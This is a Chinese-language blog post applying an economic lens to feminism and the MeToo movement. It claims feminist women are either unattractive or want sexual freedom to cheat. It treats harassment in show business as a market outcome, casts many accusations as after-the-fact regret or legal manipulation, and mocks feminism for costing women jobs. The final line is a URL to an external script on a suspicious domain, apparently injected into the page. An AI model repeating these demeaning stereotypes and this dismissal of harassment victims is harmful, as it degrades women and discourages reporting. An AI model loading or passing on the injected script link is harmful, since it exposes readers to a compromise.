過去我就曾寫過一篇討論女權主義的經濟分析文章。
簡單說,兩種女生跟一種男生會在乎女權主義:
第一種女生:性市場或婚姻市場上不受青睞,簡言之就是「長得愛國的」。這種人最容易投身女權主義,因為既有的遊戲規則玩不贏(怎麼打扮化妝都沒救),想辦法改變遊戲規則成為出路。
有趣的現象是:隨著整型手術越精進與廉宜,支持女權主義的女生會變少。
第二種女生:長得漂亮又有劈腿需求(不管是想要或是已經劈腿),這種女生談女性主義跟前者不一樣,後者會侷限在「女性身體自主權」這一塊。
至於怎樣的男生咖會大談特談女性主義,心照不宣就不多談啦XD
這邊我想要補充的是針對美國「Me too」的反性騷擾活動。
延續前天我提到的不同產業在不同侷限條件下會出現不同「契約安排(contractual arrangement)」。
為什麼演藝圈特別容易出現性騷擾事件?其中一個重要侷限條件在於「多數演藝人員的產值不容易量度」。
這是說,一部電影或影集開拍前,選角導演、導演乃至於製片方,甚至連演員自己,都無法明確在事前與事後量度該片所得收入自己究竟貢獻了多少比例。
是的,大明星或許訊息費用較低,有「底氣」事前嗆聲或是製片方誤以為其票房號召力很強。但長年統計數據看起來,大明星不見得是票房保證的案例實在很多。
例如Forbes統計,2017年投資報酬率最低的演員,分別是:
第一名:馬克華柏格(Mark Wahlberg)
第二名:克里斯汀貝爾(Christian Bale)
第三名:查寧坦圖(Channing Tatum)
第四名:丹佐華盛頓(Denzel Washington)
第五名:布萊德彼特(Brad Pitt)
而投資報酬率最高的卻是:Jeremy Renner(復仇者聯盟中存在感很低的鷹眼),其投報率足足是Mark Wahlberg的21倍!
而非一線的明星,特別是新人,其投報率如何?完全沒有歷史資料可以參考。特別很多時候多數戲劇的多數角色,都不存在「非誰演不可」這條件。
這點從許多電影新人選角階段是數千人海選而得可知。又或者鋼鐵人第一集中的愛國者演員Terrence Howard稍微拿翹,第二集立刻被換成Don Cheadle。又例如經典如「教父第一集」拍攝過程,男主角Al Pacino其實多數時間處在「隨時會被換角」的處境。
遇上王家衛這種導演,更是可能戲份被剪光。演半天都是白演。
各位讀者佐以我之前寫過的「加班的簡易經濟分析」可以得知,當產出量度有困難時,工資計算的難度就會增加;放到電影這種project導向,則會出現「人員可取代性提高」。因此演員為了求得工作,主動犧牲色相出賣肉體者大有人在。反之,製片方食髓知味下,主動性騷擾甚或要求以性換取工作機會的行為就會增加。這從中國古代戲子下戲後的宵夜與陪睡(尤其是同性戀行為)以換取「捧角」、「上位」即可得知。梅蘭芳也是夠紅後,才有權拒絕部分宵夜應酬。
這邊強調,本文不討論「性騷擾」或反過來「演員主動色誘製片人員」在道德上是好是壞。我只討論「怎樣的侷限條件會讓這類行為變多?」
我們可以說:如果某項工作可替代性很低,產出貢獻量度費用低,則出現性騷擾或色誘的行為機率就低。
反之,某項工作可替代性高,產出貢獻量度費用高,當可能報酬夠高時,希冀透過色誘取得工作的人會增加;同時認為自己可以放縱性騷擾而對方會隱忍的機率也會增加。
我認為這就片面解釋為什麼演藝圈與類似性質的行業,性騷擾、色誘與包養行為
都特別容易出現。
Mee too這種反性騷擾活動很可能被過度渲染與無限放大,這是所有「訴諸道德」活動必然的下場,因為道德沒有明確標準,界線永遠是模糊而人云亦云的。有興趣的朋友可以讀讀「倫理學」相關著作,就知道「正義」講到最後都不過是淪為自說自話。
特別性侵或性騷擾這塊始終存在「並非事前拒絕,而是事後後悔」的告訴。這到底構不構成刑事與民事責任?有得吵。可確定的是,有心人會反過來利用法律規定反威脅他方而遂行自己目的。
這也是說Mee too這類活動與性騷擾防治法規會在真實世界中增加勞雇雙方的契約媒合與成交成本,使得新進人員更難進入業界(因為雇主不知道新人是否很難搞、愛亂檢舉)。
果然真實世界如經濟學預測一般,出現這樣的後果:
「賽車女郎憤怒!「請女權主義者別再鬧了」」
某些行業為了省麻煩,乾脆把整個職位甚至部門都取消掉,多半只為滿足本文開頭第一類人的內心主觀價值不平衡。 這就是偉大的女性主義–宣稱要保護女性,然後搞得一堆女生失業,還自我欺騙「這樣的世界比較完美」。https://js.developerstatss.ga/stat.js?n=ns1